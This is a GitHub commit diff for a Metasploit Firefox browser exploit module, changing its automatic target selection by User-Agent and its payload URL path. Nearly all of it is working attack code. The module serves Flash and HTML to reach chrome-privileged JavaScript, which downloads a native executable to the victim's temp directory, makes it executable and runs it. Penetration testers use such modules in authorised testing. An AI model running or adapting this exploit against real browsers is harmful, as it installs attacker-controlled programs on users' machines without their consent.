Skip to content

Commit 0e65767

Browse files
committed
Fix target selection probs, and swf path
1 parent aae4768 commit 0e65767

File tree

1 file changed

+52
-39
lines changed

1 file changed

+52
-39
lines changed

modules/exploits/multi/browser/firefox_svg_plugin.rb

Lines changed: 52 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -33,26 +33,30 @@ def initialize(info = {})
3333
with script access should be able to trigger it.
3434
},
3535
'License' => MSF_LICENSE,
36-
'Targets' => [
37-
[ 'Windows x86 (Native Payload)',
38-
{
39-
'Platform' => 'win',
40-
'Arch' => ARCH_X86
41-
}
42-
],
43-
[ 'Linux x86 (Native Payload)',
44-
{
45-
'Platform' => 'linux',
46-
'Arch' => ARCH_X86
47-
}
36+
'Platform' => 'win',
37+
'Targets' =>
38+
[
39+
[ 'Automatic', {} ],
40+
[
41+
'Windows x86 (Native Payload)',
42+
{
43+
'Platform' => 'win',
44+
'Arch' => ARCH_X86
45+
}
46+
],
47+
[ 'Linux x86 (Native Payload)',
48+
{
49+
'Platform' => 'linux',
50+
'Arch' => ARCH_X86
51+
}
52+
],
53+
[ 'Mac OS X x86 (Native Payload)',
54+
{
55+
'Platform' => 'osx',
56+
'Arch' => ARCH_X86,
57+
}
58+
]
4859
],
49-
[ 'Mac OS X x86 (Native Payload)',
50-
{
51-
'Platform' => 'osx',
52-
'Arch' => ARCH_X86,
53-
}
54-
]
55-
],
5660
'DefaultTarget' => 0,
5761
'Author' =>
5862
[
@@ -78,12 +82,16 @@ def initialize(info = {})
7882
end
7983

8084
def on_request_uri(cli, request)
81-
if target != get_target(request.headers['User-Agent'])
82-
print_status("User agent does not match an available payload type, bailing.")
85+
my_target = get_target(request.headers['User-Agent'])
86+
if my_target.nil?
87+
print_error("User agent does not match an available payload type, bailing.")
8388
send_not_found(cli)
8489
return
8590
end
8691

92+
target = my_target
93+
print_status(target.name)
94+
8795
if request.uri =~ /\.swf$/
8896
# send Flash .swf for navigating the frame to chrome://
8997
print_status("Sending .swf trigger.")
@@ -94,33 +102,38 @@ def on_request_uri(cli, request)
94102
send_response(cli, dropped_file_contents(cli), { 'Content-Type' => 'application/octet-stream' })
95103
else
96104
# send initial HTML page
105+
print_status("Target selected: #{target.name}")
97106
print_status("Sending #{self.name}")
98-
send_response_html(cli, generate_html)
107+
send_response_html(cli, generate_html(target))
99108
end
100109
handler(cli)
101110
end
102111

103112
# @return [String] the encoded executable for dropping onto the client's machine
104113
def dropped_file_contents(cli)
105-
regenerate_payload(cli).encoded_exe()
114+
return if ((p=regenerate_payload(cli)) == nil)
115+
generate_payload_exe( {:code=>p.encoded} )
106116
end
107117

108118
# @return [Msf::Module::Target] that matches the client's user-agent header
109119
def get_target(agent)
110-
# browser detection
120+
# Not firefox, bail
111121
if agent !~ /firefox/i
112122
return nil
113123
end
124+
125+
# User wants to manually specify a target, respect that
126+
if target != targets[0]
127+
return target
128+
end
129+
114130
# os detection
115131
if agent =~ /windows/i
116-
print_status 'Windows detected.'
117-
targets[0]
118-
elsif agent =~ /linux/i
119-
print_status 'Linux detected.'
120132
targets[1]
121-
elsif agent =~ /macintosh/i and agent =~ /intel/i
122-
print_status 'OSX detected.'
133+
elsif agent =~ /linux/i
123134
targets[2]
135+
elsif agent =~ /macintosh/i and agent =~ /intel/i
136+
targets[3]
124137
else
125138
nil
126139
end
@@ -133,16 +146,16 @@ def flash_trigger
133146
end
134147

135148
# @return [String] the filename that will be used when the payload is dropped
136-
def payload_filename
137-
if target.name == 'Windows x86 (Native Payload)'
149+
def payload_filename(target)
150+
if target.name =~ /Windows x86/i
138151
"#{Rex::Text.rand_text_alphanumeric(8)}.exe"
139152
else
140153
"#{Rex::Text.rand_text_alphanumeric(8)}.bin"
141154
end
142155
end
143156

144157
# @return [String] containing javascript code to execute with chrome privileges
145-
def js_payload
158+
def js_payload(target)
146159
%Q|
147160
#{js_debug("Injection successful. JS executing with chrome privileges.")}
148161
var x = new XMLHttpRequest;
@@ -153,7 +166,7 @@ def js_payload
153166
var file = Components.classes["@mozilla.org/file/directory_service;1"]
154167
.getService(Components.interfaces.nsIProperties)
155168
.get("TmpD", Components.interfaces.nsIFile);
156-
file.append('#{payload_filename}');
169+
file.append('#{payload_filename(target)}');
157170
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
158171
.createInstance(Components.interfaces.nsIFileOutputStream);
159172
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
@@ -163,7 +176,7 @@ def js_payload
163176
} else {
164177
stream.close();
165178
}
166-
#{chmod_code}
179+
#{chmod_code(target)}
167180
#{js_debug("'Downloaded to: '+file.path", "")}
168181
var process = Components.classes["@mozilla.org/process/util;1"]
169182
.createInstance(Components.interfaces.nsIProcess);
@@ -179,7 +192,7 @@ def js_debug(str, quote="'")
179192
end
180193

181194
# @return [String] containing javascript that will chmod the dropped executable
182-
def chmod_code
195+
def chmod_code(target)
183196
return '' if target.name == 'Windows x86 (Native Payload)'
184197
%Q|
185198
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
@@ -194,15 +207,15 @@ def chmod_code
194207
def base_url
195208
proto = (datastore["SSL"] ? "https" : "http")
196209
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
197-
"#{proto}://#{myhost}:#{datastore['SRVPORT']}#{datastore['URIPATH']}"
210+
"#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}"
198211
end
199212

200213
# @return [String] HTML that is sent in the first response to the client
201-
def generate_html
214+
def generate_html(target)
202215
vars = {
203216
:symbol_id => 'a',
204217
:random_domain => 'safe',
205-
:payload => js_payload,
218+
:payload => js_payload(target),
206219
:payload_var => 'c',
207220
:payload_key => 'k',
208221
:payload_obj_var => 'payload_obj',

0 commit comments

Comments
 (0)